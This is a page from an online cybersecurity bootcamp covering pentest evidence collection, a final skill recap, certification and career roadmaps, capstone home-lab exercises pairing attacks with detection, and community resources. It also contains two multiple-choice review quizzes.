// 41.3 — EVIDENCE COLLECTION DISCIPLINE
DOCUMENT EVERYTHING — REAL TIME

The worst mistake is trying to recreate screenshots after the fact. Start a timestamped notes file at the beginning of every engagement. Screenshot every finding immediately. Record every command you run in a log file.

WHAT TO CAPTURE
  • Screenshot of the original request and vulnerable response
  • Screenshot of successful exploitation (proof of impact)
  • The exact command or payload used
  • Timestamp — date and time of finding
  • IP/hostname of affected system
  • User account context (what account you were)
TOOLS FOR NOTE-TAKING
  • Obsidian — Markdown with file attachments. Best for solo.
  • Cherry Tree — Hierarchical notes. Pre-installed on Kali.
  • Ghostwriter — Purpose-built pentest reporting platform.
  • PlexTrac — Enterprise platform, team collaboration.
  • script + timing — Record entire terminal session: script -t session.log
// DAY 41 — QUIZ
Your report shows you achieved Domain Admin access via: foothold → local admin → Kerberoasting → credential cracking → lateral movement → DA. The CISO says "this wouldn't happen in real life — too many steps." How do you respond?
A Agree — acknowledge the attack chain was theoretical and may not reflect real risk
B Demonstrate the attack chain again live to prove it works
C Cite real APT attack chains (Colonial Pipeline, SolarWinds) showing multi-hop paths are standard, reference MITRE ATT&CK techniques used, and note each individual finding is valid regardless of chaining
D Remove the middle steps from the report to make the chain look more direct and convincing
42

2-Month Capstone — You Made It

CAPSTONE Full Retrospective · Career Roadmap · Certifications · What's Next

BOOTCAMP — COMPLETE ✓✓✓
bootcamp complete.

42 days. 6 phases. From "what is the CIA Triad" to Golden Tickets, C2 frameworks, and professional report writing. You have built a foundation that most people in the industry took years to acquire.

42
DAYS
150+
CONCEPTS
60+
TOOLS
4
PHASES
// 42.1 — COMPLETE 2-MONTH SKILL MAP
PHASEWEEKSCORE SKILLS BUILT
Phase 1: Foundations1–2CIA Triad, Linux/Windows fundamentals, networking protocols, Wireshark, cryptography, OSINT, Python scripting
Phase 2: Enumeration3–4Nmap mastery, Gobuster/ffuf, Burp Suite, Metasploit, SQLi, XSS, CSRF, SSRF, XXE, IDOR, Hashcat, HackTheBox
Phase 3: Advanced Offense5–6Linux/Windows privesc, Mimikatz, Kerberoasting, DCSync, Golden Ticket, lateral movement, AV evasion, C2 frameworks, wireless attacks
Defense (embedded)AllSIEM/Splunk, Snort rules, IDS/IPS, security headers, firewall rules, IR lifecycle, MITRE ATT&CK, purple team methodology
// 42.2 — CERTIFICATION ROADMAP
CompTIA Security+
CompTIA · Exam: SY0-701
Foundational certification — validates baseline security concepts. Required by many government and corporate roles. Take this first if you need a certification immediately.
Entry Level
eJPT
INE Security
Junior penetration tester certification. Practical exam — compromise a real network. A great first pentest cert that validates hands-on skills from Phases 1–2.
Entry Level
PNPT
TCM Security · $399
Practical Network Penetration Tester. 5-day exam simulating a real client engagement with a report. Covers everything in this bootcamp. Your immediate next target after completing labs.
Intermediate
CEH
EC-Council
Certified Ethical Hacker. Widely recognized in industry. More theory than practice — good for corporate hiring. Pair with practical certifications.
Intermediate
OSCP
Offensive Security · $1,499
The gold standard of offensive security. 24-hour practical exam — compromise multiple machines, write a report. Recognized globally as proof of real pentesting skill. Your 6-month goal.
Advanced
BTL1
Security Blue Team
Blue Team Level 1 — defensive counterpart to PNPT. Covers SIEM, threat intelligence, IR, and digital forensics. If you want to specialize in defense.
Intermediate
CRTO
Zero-Point Security · £400
Certified Red Team Operator. Focuses on AD attacks, Cobalt Strike, evasion. Covers Weeks 5–6 topics at advanced depth. After PNPT/OSCP.
Advanced
OSEP / OSED / OSWE
Offensive Security
Advanced Offensive Security certifications: OSEP (Evasion), OSED (Exploit Development), OSWE (Web Expert). Elite tier — pursue after OSCP.
Elite
// 42.3 — YOUR ROADMAP FORWARD
NOW → MONTH 3
Consolidate and Lab
Complete all HackTheBox Starting Point machines. Finish TryHackMe "Jr Penetration Tester" path. Build your own Active Directory lab. Solve 20 HackTheBox easy machines. Start a GitHub portfolio documenting your methodology and tools.
MONTH 3 → 5
Certify: eJPT → PNPT
Take the eJPT first (easier, builds confidence, costs ~$200). Then take TCM Security's "Practical Ethical Hacking" course (if you haven't) and sit the PNPT. The PNPT report practice is direct preparation for real client work.
MONTH 5 → 9
Bug Bounty + OSCP Prep
Start bug bounty hunting on HackerOne or Bugcrowd — scope-limited, legal, real targets, potential income. Practice PortSwigger Web Academy labs completely. Begin Hack The Box Pro Labs (Offshore, RastaLabs) for AD practice. Prep for OSCP with TJnull's OSCP prep list.
MONTH 9 → 12
OSCP + First Job
Sit the OSCP exam. With PNPT + OSCP, you are hireable as a junior penetration tester. Start applying to security firms (NCC Group, Rapid7, Trustwave, Mandiant, smaller boutique firms). Expect $60k–$90k entry, $100k–$140k with OSCP in most markets.
YEAR 2+
Specialize
Red team (CRTO, OSEP), web security (BSCP), exploit development (OSED/OSCE3), cloud security (AWS/Azure cert), mobile security, or defensive (GCIA, GCFE, GCIH). The field is wide — follow what excites you most.
// 42.4 — FINAL CAPSTONE LABS
CAPSTONE LAB 1 — FULL AD COMPROMISE SIMULATION
  • In your home lab (or TryHackMe "Holo" / HTB "RastaLabs"): start with zero credentials on an external machine and reach Domain Admin.
  • Document every step: initial recon → web exploit → foothold → enumeration → privesc → credential harvest → lateral movement → DA.
  • Map every technique to its MITRE ATT&CK ID.
  • Write a full professional pentest report for this simulated engagement. Include executive summary, all findings with CVSS scores, and remediation roadmap.
CAPSTONE LAB 2 — PURPLE TEAM EXERCISE
  • Run a Kerberoasting attack against your AD lab, then set up Splunk and write a detection rule that would catch it.
  • Execute a Pass-the-Hash lateral movement, then build a Sigma rule to detect it.
  • Simulate a Golden Ticket attack, then demonstrate how resetting krbtgt twice prevents it.
  • This is the purple team mindset: attack to understand, defend to prevent. The most valuable security professionals do both.
CAPSTONE LAB 3 — HACKTHEBOX PRO LAB OR PNPT PREP
  • HTB "Offshore" Pro Lab: Full AD environment with 17 machines. Most OSCP-like free experience available.
  • Or: TCM Security's "PNPT Practice Exam" — a full simulated engagement with feedback.
  • Or: VulnHub machines — "Kioptrix" series, "Vulnix", "DC-9" — all free, offline VMs.
  • Whatever you choose: write a report. Always write a report. The report is the product.
// 42.5 — COMMUNITIES, RESOURCES, AND STAYING CURRENT
COMMUNITIES
  • TryHackMe Discord — active, beginner-friendly
  • HackTheBox Forums + Discord
  • r/netsec, r/hacking, r/oscp
  • TCM Security Discord — PNPT community
  • Bloodhound Slack — AD security experts
STAY CURRENT
  • Krebs on Security (krebsonsecurity.com)
  • Threatpost & Bleeping Computer (daily news)
  • NVD (nvd.nist.gov) — new CVEs daily
  • SANS Internet Storm Center
  • Follow security researchers on X/Twitter
PRACTICE PLATFORMS
  • HackTheBox — best machines, best community
  • TryHackMe — guided paths, great for learning
  • PortSwigger Web Academy — best web security
  • VulnHub — offline VMs, no subscription
  • PentesterLab — web + code review focus
// FINAL QUIZ — 2-MONTH SYNTHESIS
A client hires you for an external pentest. Nmap finds only port 443 open on a single IP. The HTTPS site shows a login page for an internal CRM. Describe your complete testing approach from this starting point.
A Report that only one port is open — there is insufficient attack surface for a meaningful pentest
B Run sqlmap against every visible login form immediately
C Passive recon for all subdomains and emails, full port scan and directory brute-force, technology fingerprinting, manual Burp testing of all parameters, auth bypass, and business logic testing — documented throughout
D Run Metasploit against port 443 — it has web application exploit modules
🎓

You finished a 2-month offensive and defensive cybersecurity bootcamp. The knowledge is yours. The tools are installed. The methodology is internalized. What separates good security professionals from great ones isn't knowing more tools — it's relentless curiosity, methodical thinking, and the discipline to document and communicate findings clearly. Keep hacking (legally). Keep learning. The field never stops moving and neither should you. Welcome to the community.

← Previous Week ⌂ Lesson Hub Next Week →